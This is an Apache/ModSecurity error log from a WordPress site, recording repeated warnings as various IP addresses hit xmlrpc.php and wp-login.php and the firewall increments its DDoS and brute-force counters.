[Sun Dec 21 18:18:11.313346 2025] [:error] [pid 59158:tid 59182] [client 185.2.4.58:51704] [client 185.2.4.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJY47NvyNF8ab5VgXgbQAAANY"]
[Sun Dec 21 18:18:32.195506 2025] [:error] [pid 59158:tid 59181] [client 139.59.110.28:34378] [client 139.59.110.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.110.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJeI7NvyNF8ab5VgXgiAAAANU"]
[Sun Dec 21 18:18:34.368806 2025] [:error] [pid 59070:tid 59137] [client 139.59.110.28:34388] [client 139.59.110.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.110.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJen3dhXne9KX1kgLSCwAAAIk"]
[Sun Dec 21 18:18:36.459636 2025] [:error] [pid 59068:tid 59103] [client 139.59.110.28:34392] [client 139.59.110.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.110.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJfBmLyLqWUlrjwyc2eAAAAEI"]
[Sun Dec 21 18:19:07.977410 2025] [:error] [pid 59070:tid 59133] [client 163.44.193.130:37304] [client 163.44.193.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.44.193.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJm33dhXne9KX1kgLSUQAAAIU"]
[Sun Dec 21 18:19:10.898388 2025] [:error] [pid 59068:tid 59110] [client 163.44.193.130:37516] [client 163.44.193.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.44.193.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJnhmLyLqWUlrjwyc2wQAAAEk"]
[Sun Dec 21 18:19:12.863769 2025] [:error] [pid 59068:tid 59103] [client 163.44.193.130:37670] [client 163.44.193.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.44.193.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJoBmLyLqWUlrjwyc2ygAAAEI"]
[Sun Dec 21 18:20:41.574742 2025] [:error] [pid 59067:tid 59098] [client 85.95.241.18:44266] [client 85.95.241.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.95.241.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJ-ctpsOP1NfIK_qIM_AAAABg"]
[Sun Dec 21 18:20:46.626724 2025] [:error] [pid 59068:tid 59117] [client 85.95.241.18:37174] [client 85.95.241.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.95.241.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfJ_hmLyLqWUlrjwyc3iAAAAFA"]
[Sun Dec 21 18:20:49.986604 2025] [:error] [pid 59068:tid 59106] [client 85.95.241.18:37190] [client 85.95.241.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.95.241.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfKARmLyLqWUlrjwyc3mQAAAEU"]
[Sun Dec 21 20:13:53.510580 2025] [:error] [pid 59158:tid 59181] [client 66.175.56.92:53086] [client 66.175.56.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfkgY7NvyNF8ab5VgUlZgAAANU"]
[Sun Dec 21 20:13:55.791285 2025] [:error] [pid 59158:tid 59177] [client 66.175.56.92:53086] [client 66.175.56.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfkg47NvyNF8ab5VgUlcQAAANE"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 20:17:24.592472 2025] [:error] [pid 59067:tid 59080] [client 202.61.232.16:54666] [client 202.61.232.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUflVMtpsOP1NfIK_qJKgAAAAAY"]
[Sun Dec 21 20:25:06.242185 2025] [:error] [pid 59070:tid 59130] [client 66.175.56.92:50464] [client 66.175.56.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfnIn3dhXne9KX1kgIzzQAAAII"]
[Sun Dec 21 20:28:08.920000 2025] [:error] [pid 30183:tid 30204] [client 41.185.8.225:60436] [client 41.185.8.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfn2OCmP2zCzk_WZcXsLAAAARM"]
[Sun Dec 21 20:28:11.186896 2025] [:error] [pid 30183:tid 30196] [client 41.185.8.225:60436] [client 41.185.8.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfn2-CmP2zCzk_WZcXsLwAAAQs"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 20:32:29.862976 2025] [:error] [pid 59158:tid 59173] [client 162.241.218.97:51838] [client 162.241.218.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.218.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfo3Y7NvyNF8ab5VgUtnwAAAM0"]
[Sun Dec 21 20:36:54.080095 2025] [:error] [pid 59068:tid 59122] [client 66.175.44.62:43994] [client 66.175.44.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfp5hmLyLqWUlrjwyeAnwAAAFU"]
[Sun Dec 21 20:36:58.229612 2025] [:error] [pid 59068:tid 59118] [client 66.175.44.62:43994] [client 66.175.44.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfp6hmLyLqWUlrjwyeApAAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 20:37:58.086981 2025] [:error] [pid 30183:tid 30208] [client 5.75.166.124:52814] [client 5.75.166.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.75.166.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqJuCmP2zCzk_WZcXzFAAAARc"]
[Sun Dec 21 20:38:00.900497 2025] [:error] [pid 59068:tid 59111] [client 5.75.166.124:52820] [client 5.75.166.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.75.166.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqKBmLyLqWUlrjwyeBTQAAAEo"]
[Sun Dec 21 20:38:00.900631 2025] [:error] [pid 59158:tid 59161] [client 167.172.67.131:42096] [client 167.172.67.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.67.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqKI7NvyNF8ab5VgUw2wAAAME"]
[Sun Dec 21 20:38:02.998495 2025] [:error] [pid 59067:tid 59083] [client 167.172.67.131:42110] [client 167.172.67.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.67.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqKstpsOP1NfIK_qJTHwAAAAk"]
[Sun Dec 21 20:38:04.183537 2025] [:error] [pid 59158:tid 59180] [client 5.75.166.124:52834] [client 5.75.166.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.75.166.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqLI7NvyNF8ab5VgUw4wAAANQ"]
[Sun Dec 21 20:38:04.927807 2025] [:error] [pid 30183:tid 30198] [client 167.172.67.131:42118] [client 167.172.67.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.67.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqLOCmP2zCzk_WZcXzJAAAAQ0"]
[Sun Dec 21 20:38:16.310359 2025] [:error] [pid 59070:tid 59149] [client 66.175.44.62:44956] [client 66.175.44.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfqOH3dhXne9KX1kgI6lgAAAJU"]
[Sun Dec 21 20:38:20.160704 2025] [:error] [pid 59070:tid 59139] [client 66.175.44.62:44956] [client 66.175.44.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfqPH3dhXne9KX1kgI6nwAAAIs"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 20:38:23.583565 2025] [:error] [pid 59070:tid 59152] [client 95.216.246.44:60496] [client 95.216.246.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.246.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqP33dhXne9KX1kgI6uAAAAJg"]
[Sun Dec 21 20:38:26.133651 2025] [:error] [pid 59070:tid 59149] [client 95.216.246.44:51094] [client 95.216.246.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.246.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqQn3dhXne9KX1kgI6wwAAAJU"]
[Sun Dec 21 20:38:28.607321 2025] [:error] [pid 59067:tid 59083] [client 95.216.246.44:51096] [client 95.216.246.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.246.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqRMtpsOP1NfIK_qJTVwAAAAk"]
[Sun Dec 21 20:38:48.268144 2025] [:error] [pid 59158:tid 59184] [client 38.242.209.73:46232] [client 38.242.209.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.242.209.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqWI7NvyNF8ab5VgUxMwAAANg"]
[Sun Dec 21 20:38:52.597387 2025] [:error] [pid 59068:tid 59114] [client 38.242.209.73:46242] [client 38.242.209.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.242.209.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqXBmLyLqWUlrjwyeBvwAAAE0"]
[Sun Dec 21 20:38:55.499073 2025] [:error] [pid 59158:tid 59164] [client 38.242.209.73:46248] [client 38.242.209.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.242.209.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUfqX47NvyNF8ab5VgUxOwAAAMQ"]
[Sun Dec 21 20:45:49.679799 2025] [:error] [pid 59070:tid 59131] [client 202.61.232.16:35552] [client 202.61.232.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfr_X3dhXne9KX1kgI-FQAAAIM"]
[Sun Dec 21 20:51:39.904580 2025] [:error] [pid 59067:tid 59093] [client 66.175.56.108:42884] [client 66.175.56.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUftW8tpsOP1NfIK_qJYEQAAABM"]
[Sun Dec 21 20:55:33.188435 2025] [:error] [pid 59070:tid 59136] [client 216.250.12.125:49764] [client 216.250.12.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.12.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfuRX3dhXne9KX1kgJBxgAAAIg"]
[Sun Dec 21 20:55:36.265775 2025] [:error] [pid 59070:tid 59145] [client 216.250.12.125:49764] [client 216.250.12.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.12.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfuSH3dhXne9KX1kgJB0wAAAJE"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 21:00:39.221526 2025] [:error] [pid 59158:tid 59175] [client 162.241.253.195:22136] [client 162.241.253.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.253.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfvd47NvyNF8ab5VgU6RAAAAM8"]
[Sun Dec 21 21:01:25.830669 2025] [:error] [pid 59068:tid 59124] [client 213.136.73.46:56234] [client 213.136.73.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.136.73.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfvpRmLyLqWUlrjwyeK_wAAAFc"]
[Sun Dec 21 21:01:30.274929 2025] [:error] [pid 59068:tid 59119] [client 213.136.73.46:56234] [client 213.136.73.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.136.73.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfvqhmLyLqWUlrjwyeLCAAAAFI"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 21:17:27.308685 2025] [:error] [pid 42755:tid 42774] [client 31.11.36.219:43050] [client 31.11.36.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.11.36.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfzZ-W0XvxgXMTJJbvLNAAAAVE"]
[Sun Dec 21 21:17:29.289537 2025] [:error] [pid 42755:tid 42767] [client 31.11.36.219:43050] [client 31.11.36.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.11.36.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUfzaeW0XvxgXMTJJbvLNQAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 21:25:38.081611 2025] [:error] [pid 59067:tid 59097] [client 162.241.24.197:42512] [client 162.241.24.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.24.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf1UstpsOP1NfIK_qJnkwAAABc"]
[Sun Dec 21 21:25:41.098908 2025] [:error] [pid 59067:tid 59091] [client 162.241.24.197:42512] [client 162.241.24.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.24.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf1VctpsOP1NfIK_qJnlAAAABE"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 21:36:28.803069 2025] [:error] [pid 59158:tid 59168] [client 107.151.247.185:60296] [client 107.151.247.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.151.247.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf33I7NvyNF8ab5VgVJ8wAAAMg"]
[Sun Dec 21 21:38:56.228397 2025] [:error] [pid 59067:tid 59086] [client 66.175.56.121:38756] [client 66.175.56.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.121, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf4cMtpsOP1NfIK_qJt9QAAAAw"]
[Sun Dec 21 21:39:00.148248 2025] [:error] [pid 59067:tid 59089] [client 66.175.56.121:38756] [client 66.175.56.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.121, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf4dMtpsOP1NfIK_qJt_QAAAA8"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 21:39:49.358669 2025] [:error] [pid 59067:tid 59098] [client 103.185.74.193:48930] [client 103.185.74.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.185.74.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf4pctpsOP1NfIK_qJuSgAAABg"]
[Sun Dec 21 21:40:22.780528 2025] [:error] [pid 59067:tid 59090] [client 103.185.74.193:60501] [client 103.185.74.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.185.74.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf4xstpsOP1NfIK_qJueAAAABA"]
[Sun Dec 21 21:40:54.565062 2025] [:error] [pid 42755:tid 42777] [client 103.185.74.193:45888] [client 103.185.74.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.185.74.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf45uW0XvxgXMTJJbvZQQAAAVQ"]
[Sun Dec 21 21:44:22.615442 2025] [:error] [pid 42755:tid 42760] [client 162.241.225.120:51440] [client 162.241.225.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.225.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf5tuW0XvxgXMTJJbvbHwAAAUM"]
[Sun Dec 21 21:44:28.390312 2025] [:error] [pid 42755:tid 42764] [client 162.241.225.120:51440] [client 162.241.225.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.225.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf5vOW0XvxgXMTJJbvbMgAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 22:02:11.276985 2025] [:error] [pid 59068:tid 59113] [client 66.175.56.95:58308] [client 66.175.56.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf94xmLyLqWUlrjwyelfwAAAEw"]
[Sun Dec 21 22:02:14.301224 2025] [:error] [pid 59068:tid 59101] [client 66.175.56.95:58308] [client 66.175.56.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUf95hmLyLqWUlrjwyelgQAAAEA"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 22:52:10.870421 2025] [:error] [pid 59067:tid 59098] [client 160.250.186.135:45340] [client 160.250.186.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.186.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgJmstpsOP1NfIK_qKKGwAAABg"]
[Sun Dec 21 22:52:13.529270 2025] [:error] [pid 59067:tid 59090] [client 160.250.186.135:45340] [client 160.250.186.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.186.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgJnctpsOP1NfIK_qKKHwAAABA"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 22:57:43.165750 2025] [:error] [pid 59068:tid 59109] [client 119.59.120.42:42104] [client 119.59.120.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.59.120.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgK5xmLyLqWUlrjwye3fwAAAEg"]
